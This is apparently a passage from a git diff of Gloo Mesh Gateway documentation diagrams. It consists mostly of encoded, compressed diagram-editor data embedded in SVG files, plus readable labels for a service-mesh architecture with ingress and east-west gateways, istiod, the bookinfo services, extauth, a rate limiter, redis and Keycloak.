yM5NcdTAwMWWOgeVcdTAwMWPknTLN7jiH82GcWVx1MDAxOFx1MDAxZHdcdTAwMTNcdTAwMWL3XHUwMDEz//PdpbO+P3mn3EfFaDDZXHQgX//pdPcjds2KtSd+P3q7LVx1MDAxNTIlls2ioFx1MDAwYjyhqKXNSFx1MDAwMjBcdTAwMDNcdTAwMThfdGWBvIM3TZNWwjAzXHUwMDFkk1x1MDAwZSPvXHUwMDE4M41yuImxmp5SXHUwMDBl6dbmgIDpxbHk8Pzts+s/e/vBXHUwMDE3WFxisf9V8o4l0kPBOvlpd9iOJ1x1MDAxMoPM9DJ061x1MDAwMqZMZTZcYlx1MDAxNVx1MDAwMmaimYfoPIVCgEVFTDUkRYrjLTuyb9ImXHUwMDFlabDmjIhcdTAwMDXTyzSMdGibalx1MDAxYWVzTk0nJcU1WVx1MDAxZI1xTFwiL+R66s21ct43XHUwMDE0eZ6V+6Bb3KSeXHUwMDE59Fx1MDAwMbByg6guXHUwMDFl3j5ePbw0bzrTdP/t7lx0x1x1MDAwNpW7YFx1MDAxNykrXHUwMDEw7Vx1MDAxNjajPuXsdU7l59+bXHUwMDExXHUwMDE1wvTExZQv2Iz7bFXhZ1x1MDAwNia33fpcdTAwMTeqY1xmK4zWlul/T2/2l1x1MDAwYtK5i/Vl/rzSf1xmR8cx2s21f9jP9WlcdTAwMDTmXHUwMDBldFx1MDAwZrS9J7Im4oKaXHUwMDBmoFTSnUZ+XHUwMDFjrtx3c29cdTAwMTeZyVx1MDAxZZ7ZPbtcclxyJ7VSN3nXTiRDr4WXLEmczkJAya6bgel8wznZXHUwMDE1XHUwMDAx+00zMLV270PCzNRcdTAwMWJONrBrvLc5oGNXYJeRl5JcdTAwMDf1y/al5Pcxo1x1MDAxZTNKqbTNR/qLR2Daxo+c38X+7Vxmq4OxvVx1MDAwZvhcdTAwMTeMqV9cdTAwMDNrPVx1MDAwNqbAis9+LXhcdTAwMDeI7lx1MDAxZX9cIlxijFx1MDAwMqY3qFx1MDAwMp/UXHUwMDFmqtVStFOMtEbPtFnB9fhjwoV/XHUwMDAzXHUwMDAy0bWSJvPStESZvZIl7jVDXHUwMDA3XHUwMDE058L0VMJcdTAwMTjtlnq5X4hu8vhcdTAwMTWnIFxcXHUwMDAyidFcdTAwMTlVV2KcIKNypDwtVa7bxUrNXHUwMDA16Jww+uZ0XHUwMDBmtL0nsocjK2pvl/Xs03uuWezHcrhwWSicq31A/8HNpVxiczru3vUzXHUwMDEzNVx1MDAxOakqoqcjXHUwMDE2ULLroL/zXHLnZFfk9jdBf5PQ7Vx1MDAwNlx1MDAxZExcdTAwMWWi3Fx1MDAwNPl773JAkb/+mZviilx1MDAxZFx1MDAwNLbEvrDDPpA/M01CXHUwMDA15t+HXHUwMDE3TsjfhvzXoOU9IH+PeKRwzVwiXHUwMDA2O1bDIdmgu4e3Xlx1MDAwYmg4Upoxblx1MDAwNClT6C7ZitWuXHUwMDAxkZu0RKlcdDVj1F15d6f50NrCRJl2XG7mlVwih+6hIGBcdTAwMDTh8J5cdTAwMTlzwjWmq1xyPmB5SHOBTlx1MDAwMUnPgKRJwFBcdTAwMDLB02SmK4KWjlx0XHUwMDE42NRaXGKpYOmKr86f91x1MDAxNY30ZuyzxWikRKbwSFx1MDAxMlx1MDAwMtvlXHUwMDE4XCLFXHUwMDE2kVhcdTAwMTDEldlQSveScPadXHUwMDAzol1PvblCq1x1MDAwN35O71x1MDAxZvvPzYWexK7FRKZgQG00XCLaXHUwMDFidFx1MDAwN1PowSe4qZyjWHNcIileSrXFSClcdTAwMGLPmiwoaVpYXHUwMDFjKOtcZsFcdTAwMDGYhVx1MDAxN6VcdTAwMDQhgZ1cbtCxXHUwMDA1YFx1MDAwNVx1MDAxONWMgtXCZKIviz2KTKuD9e3z/0yp51vEmNZcdTAwMTBam1x1MDAwMbGYSDM+ykHCwGdcdTAwMTBcdTAwMDFcdTAwMDVCjbPe7Ol2Yi/yXHUwMDE2v5q0r+nF+U1cIsLapfbF6OPceU2wO9J0++FcdTAwMDJraZr0rixKWkxypkCzUWz86sc9M9b9yJsrtHra9ybzXHUwMDE0ci9cdTAwMTczaadYblAs5lx1MDAxObpcZqbIU1x1MDAxYWuLamJyfUz65VKeLVx1MDAxY0SLXCKTXHUwMDA2JEBcdTAwMTVpj4GRO+E8Zpn4jzTzlEynNqfKXHUwMDAyy+TAIYIlZaDlOV8tXHUwMDE3U5ibqWn4Ly0t8IyTLIIqjExcdTAwMTYhUZxQRVx1MDAxOUW25kTzxDPJXHUwMDExkkKaPitcdTAwMDKzLWXeiMSKXHUwMDE38cjk9qP6Mqm1U5lQLD92g3og7+BcdEpqilx1MDAxZVx1MDAwNCWrybbCYqB2QVx1MDAxNCj4XHSfPfLEM9djP3t39cTvXHUwMDBm6CHXXHUwMDA2+KaPXHUwMDEzMt00/Fx1MDAwMz3PxIpgSj3TodXSpnqQXHUwMDE500HOt+OXdYstOP2YazPJU5JcdTAwMDNJvX1Yt8RcdTAwMWNcdTAwMTJcdTAwMGXnZF3V+F8u9UDoaaQ5ZcqMYNXMQeRhS1xuTYA5TEWP3FLgbVDvgM38T2Q8LFx1MDAxY1x1MDAxMURW82y1XHUwMDA1x8LMaDHlpFx1MDAxYeHV+q6TZXtmXHUwMDEzeJ6BfM1cXCuqMMZcZnA0XHUwMDEy/oWe9yTkoPrjQZ6ZroTAXHTmVS22XHUwMDA2XHUwMDAw1rBAXHUwMDE1YcLMiGIhPFx1MDAwNsP5aNrrJvRA5FrEdjGnlu5EWNp+2apcdTAwMWR+YT1YvuCmKOdgUm+X0H453acvuetopla51uLu4SnBXHUwMDEyqT1cdTAwMDRcdTAwMWO959F70l35yt85sU5cdTAwMTCPXHUwMDAxPCBcdTAwMTGJ3KSR/ORCR1JXXHLNQ7SHy+dtnOx1t1x1MDAwMiDLRTVcdTAwMDfkRIE9XHUwMDEy36lcdTAwMTI+OdFHSfd/laqsVCmtcuJ2STWz3lVcdTAwMThcdTAwMWawumdcdTAwMTfGu2ok090nWlx1MDAxZFVK1Vxc/jVcdTAwMTeKPIZcdTAwMWGnnJp95dRcdTAwMWNoe09kj4jsuvRcZudcdTAwMWJ+n1wickvPXHUwMDEw1LXVrkTGRkDYv+fPe5eDXG5cdTAwMDfB8vVQQoBcdTAwMTWJLyW0nLV5qLxsLk3lt147qOFvSM9cdTAwMDAjdFx1MDAwMIs++7dTg3VMitOvzczwRlxcy5lcdTAwMTm/XHUwMDE3+3upO1x1MDAwMEfpyrRcXMA55WKDnKqH2zv0Nia10ZC+1Fg5xm5Do9vA40bqzrJMkcDiRuOlkkKhXHUwMDAzNv7ZXHUwMDA1OMZcdTAwMWVe767yxexUkWxcZn9cZlvk/PbpXHUwMDA0XHUwMDFj91x1MDAwNVx1MDAxY1x1MDAwZrS9XHUwMDA3XCKLnzplUX4qlJrVbFx1MDAxOJ1H0lx1MDAxN2hy+9ftwl9Odlx1MDAxZM51vmHwcK5ErlnIxrtMpSTKv6/Fe5tcdTAwMDNcdTAwMGJ0sfLSmipYQFdcYqY00Vx1MDAwN4xjXHUwMDFmXHUwMDBmzq1cdTAwMTaHo0l1OPomoLtcdTAwMDZcIi5cdTAwMDPdz9XujnTto0SWzVPOXHUwMDE1XHUwMDE3dt/3Oq5cdTAwMWS+XFxFct3wqJOqxz4keipFxu1x4LlWMWpxJSnC3FxmPlqOVmhLcUJM7jEznUw9Olx1MDAxOX97uMK0WpZUXHUwMDA0XHUwMDE0+1x1MDAxZSpacSm7XHUwMDE5mb/qtFxuzVQhxIcvr6Bp9kB3mH3Kylx1MDAxOGmf11wi7DpcdTAwMTMqf7x9NPNHXHUwMDE4XHUwMDA1kcp1wjTBZpAsXHUwMDE2/lk8nOj3zl/V22tnXFzWjY/Ic/a88Fx1MDAxZXBjVlx0bs36f1x1MDAwYmReXHUwMDE3y4OoIH5cdTAwMTncjzVLiCpVnZJtt7Jm4emAsY11UOOPV9etyuT6vjItyEmzzHnhfVx1MDAxOD1Zs/uyZlx1MDAwZrS9J7InsuusTudcdTAwMWJ+n4JztTq1a4TfjMLRRIlcclJcZr23ObD4VVwiXHUwMDBm9aaQRf2pt4OYncQhp8ZcZuRg/FT+aiy591HxXHJ2z8nYtMVcdTAwMDU3MzZHXduXX7I01+C3XHUwMDE1S/PX+rZHn1x1MDAwMF/cOFx1MDAxNFx1MDAxM8VcYjXDWXxz6F3rKff6npt2XHUwMDBi7cbt28fL02sj0Vx1MDAwYjz8XHUwMDE0lnDzXG5xxIJcdTAwMGI/MSZambKfYHa2icRGXHUwMDE1+dF+K99kVL7w+IKzXHUwMDFmXHUwMDE3p2DK3uDngbb3RPZE9kBk16Fa51x1MDAxYlx1MDAwNlx1MDAwZtXax1Aso1opNSbUfyTFe5ODi2mxh84kZFx1MDAxMdN+N6RcdTAwMDVTQyAzRORcdTAwMDRp4enD3c/ajdfGyKWPy9a4dk1cdTAwMTBlXHI2XFyGtlx1MDAwYuvcXHUwMDFl30rPzqtcdTAwMTgjzDZI8It10q+XmXGzk+2/TSevkfR9M91cdTAwMGY8vmXu9iejXHUwMDAxxrdUXHUwMDEzU5VKXHUwMDBmV9O2XHUwMDBivM22o+Ob89f7TjiVa1x1MDAwZVx1MDAxMX7Gxdb1XHTe7lx1MDAwYt5cdTAwMWVoe09kT2SPi+w61Ox8w1x1MDAwMKJm4Vx1MDAxZeckyFxmetX+45zeu1x1MDAxY1jYLLSHKuYkYK5ghVx1MDAxOGL0XHUwMDFia7xcdTAwMDKEmquVxvBL4fJcdTAwMWGouVx1MDAwMpdnXHUwMDBi3IoxhXRlTCooXHUwMDEyXGIx/4zZXHUwMDFhTp5f47WbePtqWH5+SbyP4mK//b5cdTAwMGUxWVx1MDAxN1Cw5KZcdTAwMTBcdTAwMWZkkKBLzW9cdTAwMDSxOMNEXG5FTVx1MDAxM8HdMozcXHUwMDEwMqFcdTAwMGXtveRKd1x1MDAxYqGFpKYz2cF4cl2bXHUwMDA3L91cdTAwMTeslFx1MDAxY0eOV1x1MDAwYr/14Phau9tccr1Wh/VQsVLpdob/djpF+Cecq6qjXHUwMDFjXHUwMDEw2+ZcdTAwMWV6hINcdTAwMTa+3DLHey3QU1x1MDAwZbhP2bZcdTAwMDdjV7pgIWZ6UNBcctJccj1PQ0BFXHUwMDAxxqCFKbzC/1x1MDAwNOKLXHUwMDFkYYhcdTAwMTlhosyQZdOwR9inuuxTXHUwMDE2wM0tTlx1MDAwMFx1MDAwMVBCOLH1optLXHUwMDA2LSzEQCppTVx1MDAxOTcrWVx1MDAxNlx1MDAxNECDXHUwMDBiTeThXFxeQe5cdTAwMDfjrYXOllx1MDAwNlx1MDAxZFLCXHUwMDE0vCoj47G09Zz71YCFW4JqbXqKcfhcdTAwMWNXW1x1MDAwZdj2Tr9dXFxcdTAwMTSD/cFm/DNcdTAwMDV9hFx1MDAxZGYvUktcdTAwMTBuJmxcdTAwMWFcdTAwMGZcdOJcdTAwMGVDv4+qXHUwMDA3luuRN9fKYZ+T+8f+c3OBR7FrIaEgptegUFx1MDAxYsi74qNO4XYj88JS6YtcdTAwMDdBU7d0K+fgl0JcdTAwMWZcIi0kKOBcbmHGly9cIlx1MDAxZjBSLGBcdTAwMGXDrFx1MDAxY2xcdTAwMTZcdTAwMGZPvp+xLm7ijlOLaFxuzMWB+Si3XHUwMDA1T+Z9TrGwmOkwbTpcdTAwMTJzQVx1MDAxZMRcdTAwMWRHRFx0pv7s7s7LXGa6XuhEc6r/eDOuVd7jsU4ujOQ1fZBOQlx1MDAwN8GTNq0uJTI9UFx1MDAxOeKrQocoS2t4VCCVQP0htZ9cdTAwMWXL3yd0XFxcdTAwMGbe7N2VM7eh1Nm2rlx1MDAwM85cZlx1MDAxNaazvP+Zr6Np5HFUmY5K/PYpcnfbrNJG5THYkkdcdOHVdUCByJeMcUVcdTAwMTjIe+3Reu9cdTAwMWJcdTAwMDZKKWamc1x1MDAxM1x1MDAxYcy0m0TmRjxcdTAwMTBcdTAwMWOj8uq5XHUwMDE0XHUwMDBmhdJcdDJ4dDbCTnGJzelcdTAwMWVoe4+L7KGms1x1MDAxZdcu/OVk11x1MDAwNSacbzgnu1wiXGK/azgrcy+NNiZcdTAwMTbFXHUwMDFiXGZ58d7lgFx1MDAwNiZAXHUwMDE5e/ShY1xibLO9KeO95KgjXHUwMDA25rik6pTQc/aj01x1MDAxZIVcdTAwMWGdmSfwS1x1MDAwM1x1MDAxNGtA57K70r7M7XGzkK6zSTCXXFwqzqT/5LtcdTAwMTS/49F4iPVSN/3HxChauHp+cEu+XHUwMDBiSDrPXGY3I9dcdTAwMTiiQlx1MDAxNsdKI1wiNGaMuVx1MDAxYux+snn2XGabhXGccnHAUSS7wGZaKmSer6O1aa9Zy4nrKFx1MDAxZj+lartr3Vx1MDAwM5E9XHUwMDE0XHUwMDFhn+ZSw2Eve59sdVx1MDAxMipbv+holFx1MDAxYe2BLlx1MDAxOelcdTAwMTBo0kw6X+TZ+vvHU3mMXFzAx0Z0j+upnchcdTAwMWVcdTAwMWTZ1uQq85FCKpctPLbD7YvGQ75xvtPBXVx1MDAwN5udv0jwYLNQrqpYSYRcdTAwMThcdTAwMTPMvyb2fnpBhs3uulgrXHUwMDBi7UtcdTAwMTfvXHUwMDA1NZu4JkaUnzpcbplmlF+PmNfAzdV+mT7QsmvlNXZN6sGScjivfIN0O/3cLqGXSKHw8vpcXFx1MDAxY0xvYs1wMuhcdTAwMGVmRYXFOSXCXGZ1IHhphlx1MDAxZteWUFxmWEJcdTAwMDPfYkmkK3fuXHUwMDE0yWdcdTAwMGXQeDWrx1x1MDAwNNqoNuWcXHUwMDA348xd0npCqYjMtFx1MDAxMMlcdTAwMGYr4VYpjqJveFx1MDAxYz7StJ76aNQrNTqBy+ZxWJcn33sk8dhaZC1zvtZcdTAwMWPDfiP/itn72Vx1MDAwN5TzhbS0XHSjIVx1MDAwNtaymLPgLIeHzmLamDCmTfRbXHUwMDFliPORtpggWlx1MDAxMDqbzGRcdTAwMTMwn4JAKUubiZLEZFx1MDAxZHK9msTDXHUwMDExPC16SDdXXHUwMDEwgtpuoWtvpXO2lMQjMEHEjPHCJjpt+9RqXHUwMDBlj3FcdTAwMWZumcMzqsdfJ+fviWl0Ulx1MDAxODSHrfD46lx1MDAxYbmsSVx1MDAxMIDIUnBcdTAwMDZKhpP5UN3PNVx1MDAxMWRcdTAwMTFthqyBhpJcXEi+sqajXG6nu1x1MDAxZnlzrVx1MDAxY/Y5vX/sPzdcdTAwMTZ4jLonLVJcckCHolxyklx1MDAxNu/H4Zfn7Pjl8VrddV9zo0QmS906WFx1MDAwNMZcdTAwMTDRTGtLXHUwMDEzXHUwMDEwdWz2umiIYMo//fdgmNlcdTAwMDdcdTAwMWFsUVjg2lx1MDAxMFxcWtJ2KeIwx1x1MDAwZc+X/dnCXHUwMDAyYa2kOmAsPVxiXCLOPW9nkdhcdTAwMTGxu+vjNlx1MDAxN8iCXHLZ282OYe6t/qVcdTAwMDKMzyX3nyfzTC9cdTAwMTKRcL7Larc8m27ddXjk9j7wzI05t5TgSGpqXlx1MDAxN1xyXHUwMDE5xYhcdTAwMDVcdTAwMTJcdTAwMGVhqtBsLLU7mvGRKOPa7N9cdTAwMDG92MOAv+qFXHUwMDE0k4TLP1xyrmzlX1x1MDAxOGNHu8Jmhn6NXVx1MDAwMevYiu+4+2xYxVx1MDAxNZKISv9B8WarXHUwMDEzq5Grh0FqUH8qNy9DbZz4XGI831x1MDAxMcksoZXJw4ZXJFb4zq5UPcYk7sB3xKnP8Fxu32FJXHUwMDE1g1WIP2z463aMR1x1MDAwMsJ4ZFvGczffqZZgSWziV8fvyXa0NSi9V3qDZDdcdTAwMWa5eWbFZNA5z1x1MDAxNOQhS1GXnt+G9fz1lzm8ysPwuFxi41R8X9755z1cdTAwMWM8dy+83ynf8l64NUbRWD+aT97EcsHy3P09XHUwMDFhlXr45agpXdhAo3Ki+GX+9VpcdTAwMTbfSbZ/U+2PXHUwMDEz0Urw+Vx1MDAxYTNtXHTpYqdcdTAwMWG+llpcYlNpaNxcInppYV+qUlx1MDAwNSNcXJvW5CeVevwqVbgmeGIpMVZYXHUwMDEz/yr1qdKPd1x1MDAxOL3vXV+m5TnisvWSRsfBemArw/Eh5nUxxVNh9lx1MDAxNaznUMi6ynqcmUJ7fcAo9Vx1MDAxMXFcdTAwMWVcclxi59FcdTAwMWRyNjVFruyHXHUwMDEx1VxiceXfh3NcdTAwMWKuXHUwMDE1i2l6cTdcdTAwMTJcdTAwMTE2vVx1MDAxZFxcf9zGXHUwMDAzXmWpQMBY8+xqsVhUjonmXHUwMDE2k8B2gHaxXHUwMDE0ZDc8u+ekTVx1MDAwNlx1MDAwZshU5Vx1MDAwNjNps/hWeFx1MDAxONSGVzozfm5HK91+k3Rd6lCCkF15bLVOXHUwMDA32t7jXCJ7qFqn49qFXHUwMDEz2UOQXZdcdTAwMGLqfMM52Vx1MDAxNfn6TbmgXHUwMDE4XHUwMDExV1x1MDAxZK8kJYph4Vx1MDAxZmF7b3NAXHUwMDExtlKEeSh5ioml96Xk91NDZVxc+IKhU3u3WVi1UylcdTAwMGUqZ3fdijPiPlBK6Fx1MDAxYTS7jMNcdTAwMTfWuT1cIpfcvSkyZZRrTpD/psiF3H36/rL+/lx1MDAxNjvniYnMppuZh5ttXHUwMDEw+Vx1MDAxN1ZRwVx0s1x1MDAwZmtcXO57orCFNeVgmFxigZhyXHUwMDBmqn59XHUwMDE5ldSacYFcdTAwMDNcbshfm5VBro6rsVx1MDAwMSpmI73r93Lm/WN3xXsgsqcqqmN8aieyJ7LrgLPzXHKDXHUwMDA3nKV2dU1zavxiaoNgr/cuXHUwMDA3XHUwMDE3N1x1MDAxMy9VrJUl9qWK9zJMRHBcIsghO7BcdTAwMWVcdTAwMGZsXHUwMDA2XHUwMDE0ejZpjOpnV51x13kk+6GA81x1MDAxYdC5XGacl1a6PXRW3DXbXHUwMDE4jDut9CbJxr278DT8eJHp5/p98lx1MDAxYWNDkuhmXHUwMDAy78tcdTAwMTbWL1x1MDAxYte8skV2ZUJbXHUwMDEyzlwiZYxKJuVuaVH7XHUwMDFll2fsXdNgMpDQmeJW7zxay6WzoXG2eNlcdTAwMTg+p9FpnsjefNlcdTAwMDfa3lx1MDAwM5F90mlccsr/odnKJ1x1MDAwNjU1uXzrT5p72IVkXHUwMDAzhV5lPffYfLy9XHUwMDFmi3ZIVOvtPdB9QGVZK6LBXHJ+XHUwMDFhPVx1MDAxNiOXKIL7nT3QvWe3oeGkVuom79qJZOi18JIliT3Q/WiEea5cdTAwMTLTRZLJKDaMdVx1MDAwYumHy7/ulP3lZNd2YnC84Zzsikb4rlx1MDAwNmbIPcCukWmqrLX/XHUwMDAwu/c2XHUwMDA314rAXrBESYv4giVfNFpFmlx1MDAwNvOanHzvZz9cIu1u9yxZXHUwMDFk1r/c+b5cdTAwMDZ+L9tcdTAwMTCLXHUwMDBi9eRUb1x1MDAxM0K4et+l1sRcdTAwMTRJ+ne+P1x1MDAxNIvR1sPjXbjVKCQ+8lx1MDAxNTmYJtxcdTAwMTJBj8OE4FxcWZRcbjN6xkyF4lx1MDAxZfXZu6R3bzeRXHUwMDEwc1MyLr6vg4qXgnx7ZoMyfVx1MDAxM8/pXHUwMDA0L1xmrvNj9fRQ2V3vniyIg27vcZE9VDbMce3CX052XHUwMDFkcHa+YVx1MDAwMIGze9aKxkhxpZX/klxm710+TtzMJbeUL138RbiZSipcdNf45H0/+1x1MDAxMVx1MDAxYo5cdTAwMWHdL1x1MDAwN81rXHUwMDAw5zJoni9yK1x1MDAwZVXatY1cdTAwMTlYc4ovVJuv49B+j7xcdTAwMTVHN7VcdTAwMWFl753Xh5dmLZ9NXHUwMDA1n0NcdTAwMTmyyCeDyuXkcUp8xsd2zSuztYv7ZFC6WjhFXHUwMDA0UkjY5yZcdTAwMDVcdFwiN5qPz/FcdTAwMGKaXHUwMDFj11x1MDAwYvH4MN3IVSdcdTAwMWY+/Z9cdTAwMDdQWo7877uVWaJaq3acmd9cdTAwMTbi+JpcdTAwMDKRX2vZTlx1MDAwYkv3bDTFXHUwMDE4aFx1MDAxZbqB++riLta9XHUwMDFmJvP0OTZ4KEyS15VK5yHoTK4lsDFFnFFMJLdHqGYty7T12YbA+I3ITlE1TyaXXHUwMDBlVc+rTC5hlSCLvjFcdTAwMDbuxeO1WjXe7tbUeyf9UIhHUIhccoqFI+XxcLux8Jy+k8d/rcWTx93bXHUwMDEyMuHeuVx1MDAxZkkz7ZBz/5Fz72dcdTAwMWNIt5eWWFnIaHDCkGR4XHUwMDExajNpSa2FRphcIkK0PlDgnJi2TUJqjjEmWFx0h1l70jJcco2BuZXGIJb0KvczJFx1MDAxMD1kXHUwMDFm/yC07HLrXHUwMDAw6K1fzuxcdTAwMDP1MFx1MDAwNyykuTRAlSAubEMtf4/xZFx1MDAxNlx1MDAxMURQ07JSgcWpVyfq/Vx1MDAxOd3CQu4nz1xcK2duTu9cdTAwMWb7zy397e7zfYBcdTAwMTG1XHUwMDAy29O/mV/OReLssYMvp+eT6Vx1MDAxNX+/yMtQOuCSXHUwMDA3XHUwMDBibdH5tdxcdTAwMWVQMFx1MDAwYpteKlxmXHUwMDA0XHUwMDEwx2w5XHL/W+tPqTJz11kwU3au81x1MDAxM31dIFx1MDAxZpWHUHFcdTAwMTB/XHUwMDFmXGKUyyedkcbJ4b453Vx1MDAwM23viexcdTAwMDH9+IdK2Dmu3f3Lya6LXHUwMDBmON9wTnZFbn9bWStzXHJcdTAwMTCYbFx1MDAxMkrsfb3XIVx1MDAwN+9tXHUwMDBlqmdcdTAwMDK22lx1MDAwYjsobIl9YYd9XHUwMDA0XGJcdTAwMThAbXXQlunHXHUwMDEzILipTsvtbrH1pfGBNfh42anwucatXHUwMDE4VCnX7sCYajN3x1x1MDAxZbNaXHUwMDFiwcuV+5NcdTAwMTd880xeUlx1MDAxMXbdKsdKmaugM6jiXFxbkpn/XHUwMDEwxolYdFx1MDAxZFx1MDAwMkdalFGMXHUwMDA1mKFaUnf+XHUwMDA0k4xcdTAwMTW9h1x1MDAxZHjyJ3FcdTAwMWF1suo6XHUwMDA0i0toiexcdTAwMWXdP45BN1x1MDAxZEZyNulcdTAwMGVa7rNIvtzRt7osT+Z09flcdTAwMTHM3dmTa1xyykNp/5Z3uJIuXGZeXHUwMDEy/Vx1MDAxZYsnesnktEWHz8KFPVx1MDAwM2J5KyGwpZFcdTAwMTlWqyiiarF3N0FcYphcdTAwMTMwXHUwMDA0XGIpqTTaiTldfX6Cm75voKm1olx1MDAxMjPt0P9cdTAwMTAjalx1MDAxMfiE4pLCnThSy2yLXHUwMDA1XHUwMDAxXHIv/7BuiL679Ls5XHUwMDAz5ViJ6XP9qaszmVx1MDAwMk4gXulG0zbEa3NcdTAwMDaCOlx1MDAxMlx1MDAxOGupiMlBnlx1MDAwZqU5+/RcdTAwMDViSynYYlx1MDAwMkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHU